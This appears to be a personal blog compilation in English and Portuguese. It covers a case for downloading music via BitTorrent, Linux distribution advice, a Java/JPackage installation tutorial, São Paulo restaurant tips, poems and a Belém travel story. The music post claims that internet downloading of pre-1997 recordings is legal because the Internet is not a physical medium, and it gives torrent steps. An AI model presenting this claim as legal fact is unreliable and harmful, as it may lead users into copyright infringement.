  1. The great recording companies provide a service for the society in this ways: finding talents, funding the production and recording of the phonogram, producing a nice CD booklet, advertising the product on TV, radio, magazines, outdoors and operating the physical distribution logistics of the CD, all of this for you to listen high technical quality music, and easy to find in a store near your home. So nothing is more fare for the recording companies to get their financial share.
  2. Because of this a recording company is, in general, the owner of the phonogram (a CD track), and not the musician or composer. That means that the company decides when, how much and how they will publish these songs (publish means to create CDs and put them in stores). The musician can’t take a phonogram on which he participated on the recording, put it on a media (CD, tape, DAT, long play, etc) and start selling it, unless he buys the rights over the phonogram, that are, in general, very expansive.
  3. The recording industry and companies are not defending the artists rights, but their own interests. In fact, many artists do not like that the recording companies say they are defending their rights.
  4. In all this commercial process, musicians share come from their authorship rights (which is small, according to some musicians I know), that comes from an independent institution, which in its turn comes from the recording company and other sources. This rule is not the same for big stars that have enough power (and agents) to negotiate better contracts with a recording company.
  5. The musician wants his art to be known and listened in the broadest way possible.
  6. Professional musicians earn more money making shows and live performances, and less in the process of selling recording company’s CDs that carry his creations.
  7. People will only pay for show tickets if the artist’s creation is good and well known.
  8. Many good artists don’t have market penetration, money or disposition to record CDs in a way that they will own the phonograms (the so called independent way). These are usually referenced as “alternatives”.
  9. Excellent musicians and beautiful phonograms can be unknown to the point it is considered not viable to give them space in a CD store shelf. Because of that it is difficult to find old recordings or the so called “alternatives” in stores: or people already changed their taste, or the number of people will buy is very small.
  10. I estimate the cost to mass produce one single CD — including the plastic, media, booklet and its artwork, authorship rights, some advertisement etc — in about US$2.
  11. I heard that the law prohibits the redistribution of phonograms (CD tracks) in a physical media (to burn a CD or tape and start selling or buying it).
  12. The Internet is not considered a physical media. So in this rationale, by law terms, it is not prohibited to use the Internet as a way to distribute music, at least for phonograms produced/recorded before the Internet era, which includes everything before around 1997. After that, phonograms started to be produced with a revised license (the law terms of what is permitted or not to do with it) that considered the Internet.

Whatever they say, to download music from the Internet takes time, comes without the booklet — which contains a lot of art and valueable information — and is controversial if it is illegal or not. On the other hand, artists and their full high-fidelity discographies have been seen in such a way that seems not rational not to download.

You should decide if you follow what the media says defending their rights — and not the artists’s —, or if you are going to give prestige to a musician and feel all its creative potential can make with your emotions.

How to Download

I opened this space for a friend to explain how to do it. This method uses the Bit Torrent technology and these are the steps to successfully use it:

  1. Download and install some Bit Torrent software as BitComet (only for Windows) or Azureus (Mac, Linux, Java, Windows). These software are free, safe, will not install spyware, virus, malware etc, and their use is completely legal.
  2. Use the www.isohunt.com website to find music by name, artist, etc. It can be used to find also other types of files. You can also search the Internet for other sites that provides “torrents”.
  3. Search, for example, for “Mozart” or “Bach“, etc. Click on these links to see a search result example.
  4. You will find complete collections and very large files, that takes sometimes days to download. The first results isohunt will show are the most active downloads, and because of that faster to download.
  5. Select the item you want, it will expand, and then click the link called “Download Torrent” to start the download.
  6. This will trigger the Bit Torrent software (BitComet of Azureus you downloaded above), that will ask you where you want to download. Choose a directory that you will remember later.
  7. Before selecting OK, you will see a list (huge if it is a complete collection) with the files included in the torrent, and you can select only the files you want, or everything.
  8. Monitor the download activity and guarantee you are downloading in a good speed. If it is constantly slow for a long time, it is usually better to cancel and search for another download.
  9. Even very fast downloads can take days to be fully retrieved if it is big.
  10. After the download finishes, if you use Linux, use Musicman to organize your retrieved files.

Be responsible and good luck.

Choosing a Linux Distribution

It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.

Support and Certification

All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.

For a user, support really means:

  1. A partner available now and in the long term to transfer operational risks.
    This is the most important point. Companies don’t want to take risks — specially the Open Source risks — for themselves.
  2. Fast access to quality updates.
    Companies in general have limited resources to compile, test and apply OSS updates.
  3. Access to a large set of certified hardware (IHV) and software (ISV) vendors, and availability of pre-tested complex solutions.
    A critical part of any IT project is the support and certification connections between its components (hardware, storage, middleware, etc). The most important and valued function provided by a distributor, even more so than the embedded technology in the OS, is its ability to build ecosystems of certified Independent Hardware and Software Vendors.

Price for a License Versus Subscription Business Models

Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.

The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.

It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.

So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.

Choosing the Best Distribution

There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:

  1. Acquire a global commercial Linux subscription such as Red Hat Enterprise Linux or Novell SUSE Linux Enterprise Server.
    A subscription ties together the Open Source software and its global scale support, providing a stable environment for a certified ISV and IHV flourishing ecosystem.
  2. Use free distributors such as as Debian or Slackware and buy support services from an independent local company.
    Free distributions may introduce more risk due to non-global support operations, in addition to a loose integration between software and support, which leads to a weak ISVs and IHVs ecosystem.

In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.

Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.

RHEL versus SLES comparison

Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:

  1. Which distribution vendor do I have closer commercial relationship?
  2. Who has best pricing model for the value provided?
  3. Which distribution does my technical staff have more experience with?
  4. Which distribution is supported and certified by my providers of hardware and software?
  5. If you are unsure, be responsible and use an enterprise distribution.

There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.

Other Enterprise Distributions

There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.

There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.

Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.

Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.

One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.

Aquecimento Global

SAIBAM, que a Terra não será mais a mesma dentro de 20 ou 30 anos.


Aumento da variação de temperaturaA Natureza não consegue rearranjar seus ecossistemas tão rápido quanto o homem tem feito a temperatura do planeta subir, através da crescente emissão de CO2 (dióxido de carbono), marca de nossa era industrial. Então, antes da maioria de nós deixar esta vida, veremos secas fustigantes, enchentes avassaladoras e extinções irreversíveis. Já começou. Espécies, geleiras e continentes inteiros sumirão do mapa.

O mais terrível não é a mudança na paisagem global, mas os impactos sócio-econômicos. Imaginem as hordas de milhões de pessoas — 6 casas decimais de desabrigados — migrando para as montanhas porque seus paises e cidades viraram parte dos oceanos Índico, Pacífico e Atlântico. Ou teremos séculos de guerras por água e m2, ou aprenderemos a viver em paz e compartilhar os recursos.

Este assunto era um rumor remoto para mim, mas é impossível não se sensibilizar com o documentário Uma Verdade Inconveniente, ainda em exibição em algumas salas de São Paulo. Os fatos relatados alí não me saem da cabeça, e é filme obrigatório para todas as pessoas.

Faça Sua Parte Para Evitar o Aquecimento Global

Mais na Web

Lembre-se: o planeta não é nosso; ele nos foi emprestado pelos nossos filhos (provérbio africano).

Instalando Java e Eclipse em Linux

permalink Porque Java com Linux ?

Nos primórdios das tecnologias, todas elas nasciam proprietárias porque seus criadores queriam explora-las ao máximo, por serem todas novidades.

Depois da popularização do PC, e mais ainda, da Internet, fabricantes começaram a se reunir ao redor de Padrões Abertos para criar uma rede de valor onde todos — fabricantes e usuários — acabam ganhando.

Os Pilares do e-businessExistem hoje inúmeros Padrões Abertos, mas os que se destacam são os seguintes:

  • HTML
    É a representação universal de interfaces com usuários. Hoje qualquer usuário de computador sabe usar um browser e navegar através de um hipertexto. HTML, ou melhor ainda, hoje, DHTML ou AJAX, é o padrão aberto para aplicações interagirem com usuários.
  • XML
    Antes de XML, não havia um padrão aberto amplamente aceito que permitisse qualquer aplicação falar com qualquer outra aplicação, mesmo de fabricantes diferentes. XML se tornou a base dos Web Services e Arquitetura Orientada a Serviços, que traz o benefício da integração de processos, com parceiros, clientes e fornecedores.
  • Java Enterprise Edition
    Java é a tecnologia escolhida por toda a indústria para transformar processos de negócio em software. É o Padrão Aberto para se escrever aplicações. Antes de Java, desenvolvedores usam diversas linguagens, sem uma metodologia universal de programação e sem nenhum padrão de bibliotecas de alto nível. JEE (Java Enterprise Edition) é um padrão de biblioteca com métodos universais para aplicações de negócio.
  • Linux
    É o sistema operacional escalável e multiplataforma para rodar tudo isso. É o componente aberto que faltava para ligar a lógica de negócio com padrões abertos de HW.

Essas quatro tecnologias juntas provém tudo que um desenvolvedor precisa para criar suas aplicações de negócio.

permalink Java comparado a C/C++, PHP, Perl e Python

Cabe ao desenvolvedor escolher a linguagem/tecnologia certa para a aplicação certa. Não só os aspectos tecnológicos devem ser levados em conta, mas também aceitação no mercado, aderência a padrões, reputação, política de atualização da tecnológica, prontidão para uma aplicação de negócios, etc.

  • C é uma linguagem criada para desenvolver sistemas operacionais, ou algoritmos de baixo nível, quase no nível da máquina, e é nesse nível que essa linguagem se sai melhor. C++ surgiu a alguns anos trazendo orientação a objetos, mas ambas linguagens falharam em padronizar suas semânticas e, principalmente, bibliotecas multiplataforma abertas, e de uso genérico. A não ser que você esteja escrevendo sistemas operacionais, ou bibliotecas de acesso a hardware, uma linguagem mais prática que C ou C++ deve ser escolhida para desenvolver sua aplicação de negócio.
  • PHP é uma linguagem/tecnologia desenhada para criar páginas web dinâmicas. Seus programas são geralmente mesclados com código HTML e equivale a JSP e ASP. É muito usada e provou seu valor, porém tem pouca penetração no mundo corporativo e de aplicações de negócio (de fabricantes de SW), e por isso pouco suporte da indústria para que a tecnologia evolua como um padrão. Então, por ser um investimento de risco, dificilmente uma grande empresa vai escolher PHP como tecnologia estratégica para a confecção de suas aplicações críticas, mesmo porque PHP é mais madura somente para aplicações web.
  • Perl é abreviação de Practical Extract and Reporting Language, que sugere ter sido criada para manipular texto. A linguagem e suas bibliotecas cresceram para muito além disso, e há hoje quem a use para fazer grandes sistemas. Porém isso é considerado um exagero de uso, pois os programas são interpretados em tempo de execução, o que acarreta performance limitada, e é de fato desenhada para automatizar tarefas de sistema operacional. Python, apesar de ser mais moderna e poder ser compilada, não foge muito deste escopo também. Além disso, ambas ainda não conseguiram uma aceitação comercial madura, e, não representando um investimento seguro a longo prazo, ainda não tem sido escolhidas como estratégicas para a fábrica de SW de uma empresa, ou para um sistema complexo e de missão crítica.

Em contrapartida, a tecnologia Java tem as seguintes características:

  • Atingiu um nível de maturidade e aceitação de toda a industrial que o torna um investimento seguro quando da escolha de uma plataforma de desenvolvimento de aplicações de negócio.
  • Evolui de acordo com as decisões de um comitê independente chamado Java Community Process, onde empresas e indivíduos votam igualmente para a aceitação de uma novidade. São integrantes ativos do JCP empresas como IBM, Apache Software Foundation, Dolby Laboratories, JBoss, SAP, Oracle, Nokia, Sony, etc. Lista completa em http://jcp.org/en/participation/members.
  • Toda a indústria respeita as decisões do JCP, evitando o surgimento de derivados (forks) de comportamento diferente.
  • É um grande polo tecnológico, tendo somente .NET como seu polo oposto e concorrente (e ainda imaturo de certa forma).

permalink Instalando Java Em Linux

Há muitas formas de instalar a JVM em Linux, mas há somente uma forma correta: usando RPM através do repositório JPackage.

permalink Sobre Repositórios de RPMs

A instalação de um pacote RPM pode falhar se outro pacote precisa ser instalado antes. Isso é conhecido como o inferno das dependências.

Para resolver este problema a comunidade criou ferramentas de instalação de pacotes como o Yum e o APT, que, junto com os metadados oferecidos por um repositório de RPMs, liquidam este problema calculando tudo que é necessário fazer para instalar certo pacote, atualizando automaticamente pacotes já instalados, ou instalando novos, tudo para satisfazer as dependências do pacote que o usuário deseja instalar.

Um repositório é um site na web que contem vários RPMs e metadados de interdependências sobre esses pacotes, que são usados por ferramentas como yum e apt-get.


permalink
O projeto JPackage e seu Repositório de RPMs

jpackage logoO JPackage é um repositório de RPMs de alta qualidade de softwares relacionados a Java. É uma comunidade de pessoas que empacotam em RPM as JVMs mais conhecidas do mercado, bem como softwares Java populares como Tomcat, Eclipse, Jakarta, etc.

A primeira pergunta que surge depois que dizemos isso é: “Mas as JVMs da Sun, IBM, etc já não são disponibilizadas em RPM ?�? Sim, mas cada fornecedor empacota como bem entende, sem seguir nenhum padrão de diretórios ou do sistema operacional. E essa despadronização faz a tecnologia como um todo ser mais difícil de usar.

O Projeto JPackage resolveu isso definindo uma organização de diretórios que permite multiplas JVMs, e lugares padronizados para arquivos JAR, WAR, EAR, etc. O JPackage inovou simplesmente aplicando os conceitos do Filesystem Hierarchy Standard — um padrão aberto dos mais importantes para Linux — aos softwares Java.

O resultado é tão bom, que a Red Hat, SUSE, Mandriva e outros adotaram o padrão JPackage de empacotamento e diretórios para tudo que se refere a Java em suas distribuições (RHEL, Fedora, SLES, SLED, OpenSUSE, NLD, Mandriva, etc).

permalink Problemas do JPackage

O JPackage tem uma diretriz de fornecer em seu repositório somente RPMs de softwares livres. Por isso, softwares que não tem licenças livres estão lá somente como RPMs-fonte, que não são tão simples de se instalar, mas mesmo assim promovem a organização e a qualidade do JPackage. Entre esses softwares estão a própria JVM, que vamos demonstrar sua instalação agora.

permalink Inicializando o JPackage em seu sistema

Antes de instalar qualquer RPM oferecido pelo JPackage, você precisa configurar as ferramentas que acessam e instalam os pacotes automaticamente no seu sistema.

Nos nossos exemplos, vamos usar o Fedora Linux com YUM. Pode-se optar pelo apt-get ao invés do YUM, ou de outra distribuição Linux ao invés do Fedora. No caso do Red Hat Enterprise Linux ou CentOS, o processo é idêntico.

permalink Tenha o YUM ou apt-get no seu sistema

No caso do Fedora 4, RHEL 4 ou CentOS 4, já temos o YUM instalado no sistema, e só teremos que configura-lo.

No caso de outro Linux, você pode testar se estas ferramentas estão instaladas simplesmente executando o comando yum ou apt-get.

Se você finalmente concluiu que não as tem, encontre-as aqui:

Nos nossos exemplos, vamos usar o Yum.

permalink Configure o YUM para usar o repositório JPackage

Basta instalar um arquivo de configuração no diretório /etc/yum.repos.d/ desta maneira:

bash# cd /etc/yum.repos.d/
bash# wget http://www.jpackage.org/jpackage.repo

Edite o arquivo jpacakge.repo que você acabou de baixar habilitando e desabilitando os canais de RPMs específicos para seu sistema. Por exemplo, no nosso Fedora Core, garantimos que os canais jpackage-generic e jpackage-fc contém a linha “enabled=1�?.

permalink Instale o primeiro pacote

O pacote jpackage-utils deve estar instalado para começar usar o repositório. Nas últimas versões das distribuições populares, ele já está instalado. Nesse caso é boa idéia atualiza-lo.

Para fazer isso:

bash# yum install jpackage-utils   # No caso de não estar instalado ainda.
bash# yum update jpackage-utils    # Para atualiza-lo.

permalink Instalando a Máquina Virtual Java (JVM)

Esta é uma das partes mais difíceis porque por questões de licensa o Projeto JPackage não tem permissão para prover o RPM pronto para ser instalado de softwares que tem licensa restrita. É o caso de todas as JVMs comerciais. O JPackage provê o pacote fonte que a partir dele pode-se construir fácil, porém manualmente, o RPM instalável. E vamos demonstrar isso aqui.

permalink JVM da IBM

Seguimos estes passos:

  1. http://www.jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JVM da IBM. A última vez que olhamos estava em http://mirrors.dotsr…./java-1.5.0-ibm-1.5.0.2.3-3jpp.nosrc.rpm
  3. Consultamos o pacote para descobrir de onde se baixa a JVM da IBM com o comando rpm:
    bash# rpm -qpi java*nosrc.rpm
    Name        : java-1.5.0-ibm               Relocations: (not relocatable)
    Version     : 1.5.0.2.3                         Vendor: JPackage Project
    Release     : 3jpp                          Build Date: Tue 15 Aug 2006
    Install Date: (not installed)               Build Host: tortoise.toronto.redhat.com
    Group       : Development/Interpreters      Source RPM: (none)
    Size        : 395165271                        License: IBM Binary Code License
    Signature   : (none)
    Packager    : Thomas Fitzsimmons
    URL         : http://ibm.com/developerworks/java/jdk/linux/download.html
    Summary     : IBM Java Runtime Environment
    Description :
    This package contains the IBM Java Runtime Environment.

    e descobrimos que devemos procurar na URL marcada.

  4. Fomos para http://ibm.com/developerworks/java/jdk/linux/download.html, nos registramos, escolhemos baixar a SDK 1.5 (que é a versão do RPM) em formato tar-gzip (tgz). Tivemos que baixar também a biblioteca javacomm do mesmo lugar. No fim copiamos tudo para o diretório de fontes para RPMs assim:
    bash# cd /diretorio/onde/baixei/SDK
    bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES
    bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES

    No SUSE, copie para /usr/src/rpm/SOURCES.

  5. Construimos os pacotes finais com este simples comando:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild java*nosrc.rpm

    e vimos uma série de coisas acontecendo: é a construção do pacote.

  6. Quando terminou, encontramos todos os pacotes gerados em /usr/src/redhat/RPMS/i386. Instalamos todos assim:
    bash# cd /usr/src/redhat/RPMS/i386
    bash# rpm -Uvh java*ibm*rpm

    e a JVM da IBM está instalada.

O padrão JPackage definiu que a JVM deve ser a soma de uma série de sub-pacotes, todos com nome padronizado, e os que geramos neste exemplo são:

java-1.5.0-ibm-1.5.0.2.3-3jpp.i386.rpm A JRE mínima. É o pacote básico que você deve instalar.
java-1.5.0-ibm-alsa-1.5.0.2.3-3jpp.i386.rpm Suporte a arquitetura de audio ALSA do Linux.
java-1.5.0-ibm-plugin-1.5.0.2.3-3jpp.i386.rpm Java Plugin para os browsers Mozilla e Firefox. Não obrigatório.
java-1.5.0-ibm-devel-1.5.0.2.3-3jpp.i386.rpm O compilador Java e a SDK. Instale-o se você vai programar em Java.
java-1.5.0-ibm-src-1.5.0.2.3-3jpp.i386.rpm Fontes de programas em Java, para estudo e teste.
java-1.5.0-ibm-jdbc-1.5.0.2.3-3jpp.i386.rpm Driver JDBC genérico para o unixODBC genérico. Não é necessário se você vai usar o driver JDBC de seu banco de dados.
java-1.5.0-ibm-demo-1.5.0.2.3-3jpp.i386.rpm Alguns programas demo. Não é obrigatório.
java-1.5.0-ibm-javacomm-1.5.0.2.3-3jpp.i386.rpm Java Communications API para Linux.

No JPackage há modelos de empacotamento (src.rpm) das JVMs da IBM, Sun, BEA e Blackdown. Para instalar qualquer uma delas, você terá que construir o RPM como demonstramos aqui.

A diferença entre elas está no nome do RPM (“ibm�?, “sun�?, “blackdown�?), e você pode ter instalado em seu sistema JVMs de vários fornecedores simultaneamente. Os RPMs de todos os fornecedores, segundo o padrão JPackage, obedecem esta mesma convenção de nomes de sub-pacotes.

permalink Instale Outros Softwares Java que Não Tem Fonte

Será necessário instalar outros RPMs sem fonte para usar corretamente outros pacotes populares do JPackage. Tentanto instalar o tomcat, verificamos que ele necessita do JTA, que é uma API de transações.

Então repetimos os conceitos do passo anterior:

  1. Começamos em http://jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JTA. A última vez que olhamos estava em http://mirrors.dotsrc.org/jpackage/1.6/generic/non-free/SRPMS/jta-1.0.1-0.b.4jpp.nosrc.rpm
  3. Consultamos o pacote (ou as infos sobre o pacote em jpackage.org) para descobrir de onde se baixa a JTA, com comando rpm, e descobrimos que precisamos procurar em http://java.sun.com/products/jta/.
  4. Desta vez, tivemos que baixar dois ZIPs: o de classes e o de documentação. E copiamos ambos para o diretórios de fontes de RPM
    bash# cd /diretorio/onde/baixei/JTA
    bash# cp jta*-classes.zip jta*-doc.zip /usr/src/redhat/SOURCES
  5. Construimos os pacotes finais e instalamos os RPMs gerados:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild jta*nosrc.rpm
    bash# cd /usr/src/redhat/RPMS/noarch
    bash# rpm -Uvh jta*rpm

    E a JTA está instalada.

permalink Instalando outros Softwares Java pelo JPackage

Neste ponto, você já tem o repositório JPackage configurado no seu sistema, e a JVM de sua escolha instalada conforme ditam os padrões FHS de diretórios do Linux.

Agora é muito fácil instalar qualquer outra aplicação, biblioteca ou JAR disponível no JPackage, representado pelo nome do pacote na lista a esquerda em http://www.jpackage.org.

Para instalar ou atualizar um pacote, bastam os seguintes comandos respectivamente:

bash# yum install [nome do pacote]    # Para   instalar.
bash# yum update [nome do pacote]     # Para atualizar.

O YUM, usando os metadados do repositório, vai resolver todas as dependências, baixar tudo que for necessário, e instalar os pacotes.

permalink Exemplo: Instalando o Apache Tomcat

O Apache Tomcat é um servlet container, que se integra ao webserver e permite a criação e execução de aplicações web feitas em Java (servlets).

Para instalar o Tomcat, segundo nosso exemplo anterior, basta:

bash# yum install tomcat5

Após resolver todas as dependências, o YUM determinou que para instalar o Tomcat, seria necessário instalar também vários módulos do Jakarta, Axis, módulos de XML, etc. E tudo foi automaticamente baixado e instalado num mesmo passo.

permalink Instalando o Eclipse

O Eclipse foi a princípio uma poderosa ferramenta de desenvolvimento de aplicações, ou IDE.

Desde a versão 3, ele foi reestruturado para ser um “servidor de aplicações�? de desktop. Ou seja, se tornou o que chamamos de Rich Client Platform — ou RCP — que é uma base genérica que provê a infraestrutura padronizada que qualquer aplicação de desktop precisa. O IDE então passou a ser uma aplicação, um plugin, do RCP. O IDE Java está no JPackage com o nome de eclipse-jdt, e para instala-lo, basta:

bash# yum install eclipse-jdt

Como sempre, todos os outros módulos necessário para estes componentes serão automaticamente selecionados e instalados.

O ícone do Eclipse deve aparecer no menu inicial, pronto para ser usado.

Curtindo a Vida em São Paulo

Um colega que está se mudando para São Paulo me pediu umas dicas de lugares para levar sua namorada. Mandei esta lista para ele:

  1. Insalata (Al. Campinas, perto da Estados Unidos)
    É bonito, descoladinho e tem todos os tipos de comida, com destaque a ótimas saladas.
  2. Sargento (Al. Pamplona)
    Vai lá só para comer a saladona, que é ótima e sustenta. Peça a pequena.
    Ou então aproveite as massas que estão entre as melhores de SP.
  3. Nello’s (R. Antonio Bicudo entre R. Pinheiros e Artur de Azevedo)
    Barato, tradicional e ótimo. Peça a panzanella de entrada, e depois castigue uma massa. Eu adoro.
  4. Piratininga Bar (R. Wizard, na Vila Madalena)
    É aquele bar que te falei para marcar gol. É bonito, tem piano e sax ao vivo, e uns petiscos sem vergonha. Tem que chegar cedo pq é pequeno, e tenta ficar na parte superior, perto do piano. Tem o Pira Grill ao lado que é mais para comer, e é menos romântico.
  5. Acrópoles (fica em alguma rua do Bom Retiro)
    É um restaurente grego supertradicional e simples. É interessante pq nos finais de semana o Bom Retiro é um bairro morto, com todas as lojas fechadas mas as pessoas bombam na frente do restaurante (mas sempre tem lugar). Um bom programa é ir na Pinacoteca de manhã e depois almoçar lá, que é perto. Pode-se também ir comprar roupa feminina no bairro (vc vai ter que ter paciência) de sábado (até as 12:00, pq depois tudo morre) e depois castigar o grego.
  6. Restaurante do Museu da Casa Brasileira (Av. Faria Lima quase com a Av. Cidade Jardim)
    Este lugar é lindo. O negócio é ir lá domingo umas 10:00 da manhã, assistir o concerto de jazz de graça, dar uma volta no museu (que é pequeno) e ficar para o almoço. Tem um jardim bonito e o restaurente fica de frente para ele. Vale mais pelo programa do que pela comida.
  7. Jardim Aurélia (Rua Tabapuã, 838, no Itaim)
    É um restaurante grande que comprou todas as casas de uma vilinha, então as mesas ficam meio a céu aberto. Self-service de tudo, e a noite vira uma pizzaria razoável.
  8. Sorveteria Ofelê (Al. Lorena com Bela Cintra)
    Dá uma passeada nos Jardins, e toma um sorvete nessa melhor sorveteria de São Paulo.
  9. Senzala (Pça Pan Americana)
    Retaurante tem-de-tudo, com algumas mesas a céu aberto, e vista p/ a praça. Eu gosto do sanduiche de atum, que é bem servido e bom.
  10. Speranza (Av. 13 de Maio quase esquina com a Brigadeiro Luiz Antonio, embaixo do viaduto)
    A melhor pizzaria de São Paulo. Tem que pedir a pizza de marguerita que é inacreditável.
  11. Maha Mantra (Fradique Coutinho perto do Galinheiro)
    O melhor restaurante vegetariano do mundo. É muito barato e é boa opção também para os carnívoros.
  12. Deli Paris (R. Harmonia com Wizard, na Vila Madalena, perto do Piratininga)
    Boulangerie francesa com café da manhã self-service bom, barato e descolado. Dá para almoçar lá tb, tipo quiche com salada etc.

Para os vegetarianos, tenho esta lista de todos os restaurantes VGs de São Paulo.

Cantá

Cantá seja lá cumu fô
Si a dô fô mais grandi qui o peito
Cantá bem mais forte qui a dô

Cantá pru mor da aligria
Tomém pru mor da triteza,
Cantano é qui a natureza
Insina os ome a cantá

Cantá sintino sodade
Qui dexa as marca di verga
Di arguém qui os óio num vê
I o coração inda inxerga

Cantá coieno as coieta
Ou qui nem bigorna no maio
Qui canto bão de iscuitá
É o som na minhã di trabaio

Cantá cumu quem dinuncia
A pió injustiça da vida:
A fomi i as panela vazia
Nus lá qui num tem mais cumida

Cantá nossa vida i a roça
Nas quar germina as semente,
As qui dão fruto na terra
I as qui dão fruto na gente

Cantá as caboca cum jeito,
Cum viola i catiguria
Si elas cantá nu seu peito
Num tem cantá qui alivia

Cantá pru mor dispertá
U amor qui bati i consola
Pontiano dentro da gente
Um coração di viola

Cantá cum muitos amigos
Qui a vida canta mio
É im bando qui os passarim
Cantano disperta o só

Cantá, cantá sempri mais:
Di tardi, di noiti i di dia
Cantá, cantá qui a paiz
Carece de mais cantoria

Cantá seja lá cumu fô
Si a dô fô mais grandi qui o peito,
Cantá bem mais forti qui a dô

Autoria de Gildes Bezerra.

Escrito como uma resposta a um cartão de fim-de-ano de Rolando Boldrin. Mais detalhes pelo próprio autor.

Filhote Pai D’égua

Cheguei ontem em Belém do Pará, para um evento, e jantei num ótimo restaurante chamado Lá em Casa.

Foto do Lá em Casa Queria traçar uma comida típica e o garçom foi excelente nas sugestões e descrições, e acabei indo no Filhote Pai D’égua. Filhote é um peixe da região, e o prato vinha acompanhado de arroz com jambú (que parece espinafre, mas é diferente), farinha molhada com leite de côco, e salada de feijão manteiguinha de Santarém (um feijão claro e muito pequeno). O peixe era grelhado, macio, suculento e muito saboroso.

Prato de Filhote Pai D'éguaO garçom — cujas explicações regionais não deixavam a desejar perto de qualquer documentário de Travel Channel — explicou que o nome “Filhote” caiu na boca do povo como o nome do tal peixe. Mas não é. Chamam-no assim até ele atingir 20kg. Pense num peixe de 20kg que é chamado de Filhote. Bem, depois disso o nome dele vira Piraíba, mas seus 100kg não são mais apreciados porque na fase adulta sua carne fica fibrosa. Imagine um peixe de 100kg!! Coisas da Amazônia….

Já estava satisfeito quando descobri que a carta de sobremesas incluia sorvete de Bacurí — a maior de todas as delícias da Amazônia, talvez do Brasil, que já conhecia de outra viagem que fiz aos Lençóis Maranhenses e ao Piauí. Para não desencarnar de êxtase, pedi só uma bola, acompanhada de outra de sorvete de tapioca. Dormi feliz, mesmo porque tinha passado o dia comendo só barras de cereais nos vôos.

Em São Paulo pode-se provar sorvete de Bacurí numa pequena cafeteria que fica no Itaim Bibi, na rua Jesuino Arruda entre ruas João Cachoeira e Manuel Guedes.

Belém do Pará

Belém é uma cidade plana, com casarões antigos muito bonitos, alguns infelizmente não muito preservados. O que mais impressiona na cidade são as mangueiras carregadas e outras arvores gigantescas que enfeitam as ruas. Um taxista me contou que as mangas dessas árvores eram uma arma letal da natureza contra os carros passantes, mas agora a prefeitura organizou um esquema em que elas são colhidas das árvores e transformadas em suco para escolas carentes.

Estação das Docas nas margens do Rio Amazonas.

Fui ao evento na sexta, na famosa Estação das Docas, que fica na beira do rio Amazonas. No almoço um garçom me informou que havia uma feira livre — que depois soube que era a Feira do Ver-o-Peso — a sudoeste (dava para ir a pé), onde uma senhora (e suas filhas) vendia polpa de frutas. Numa operação rápida atravessei a feira, comprei um isopor, e enchi com 4 litros de polpa de Bacurí e Graviola. A Tati ganhou uma sorveteira esses dias, que só faltava agora se juntar às polpas e me proporcionar a atmosfera ideal para desencarnar de vez com a êxtase do sorvete de Bacurí.

No fim do evento, aquele povo lindo de feições indígenas se juntou na parte externa das Docas, de frente para o rio, para ver um show que acontece toda sexta-feira, e sucedeu uma cena tocante: todos suspiraram sincronizadamente ao ver o último fio de sol sumir, laranja, quente, lindo, atrás da floresta, que ficava atrás daquele pequeno — mas já gigante — braço do rio Amazonas.

Dançarinas em BelémAcho que por respeito ao por-do-sol, a banda só começa a tocar logo depois. Músicas regionais que todos conheciam, menos eu. Lundus, etc. E depois entrou um grupo de dançarinas morenas e sorridentes, girando suas saias longas com os braços erguidos. Era uma cena da mais pura e singela alegria.

Mais uma vez, adorei o Pará.

Poema de Mulher

Do livro Tapa de Humor Não Dói do grupo carioca O Grelo Falante.

Que mulher nunca teve:
Um sutiã meio furado.
Um primo meio tarado.
Ou um amigo meio viado?

Que mulher nunca tomou:
Um fora de querer sumir.
Um porre de cair.
Ou um lexotan para dormir?

Que mulher nunca sonhou:
Com a sogra morta, estendida.
Em ser muito feliz na vida.
Ou com uma lipo na barriga?

Que mulher nunca pensou:
Em dar fim numa panela.
